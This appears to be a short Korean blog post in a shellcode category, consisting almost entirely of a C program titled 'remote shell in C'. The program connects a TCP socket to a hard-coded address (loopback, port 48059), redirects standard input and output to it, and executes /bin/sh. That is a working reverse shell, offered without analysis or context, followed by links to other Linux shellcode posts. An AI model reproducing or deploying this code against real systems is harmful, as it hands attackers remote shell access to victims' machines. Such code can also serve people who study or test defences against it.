본문 바로가기

Shellcode

remote shell in C

// rsh.c

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <sys/socket.h>

#include <unistd.h>

#include <arpa/inet.h>


int main(){

char* args[] = {"/bin/sh", 0};


int fd = socket(AF_INET, SOCK_STREAM, 0);

struct sockaddr_in addr;

addr.sin_family = AF_INET;

addr.sin_addr.s_addr = 0x0100007f;

addr.sin_port = 0xBBBB; // 48059


connect( fd, (struct sockaddr*)&addr, sizeof(addr) );


dup2( fd, 0 );

dup2( fd, 1 );

execve( args[0], args, args );

return 0;

}



'Shellcode' 카테고리의 다른 글

Linux ARM remote  (0) 2013.07.18
Linux ARM local  (0) 2013.07.18
Linux x64 overwrite  (0) 2013.07.17
Linux x64 readkey  (0) 2013.07.17
Linux x64 remote  (0) 2013.07.17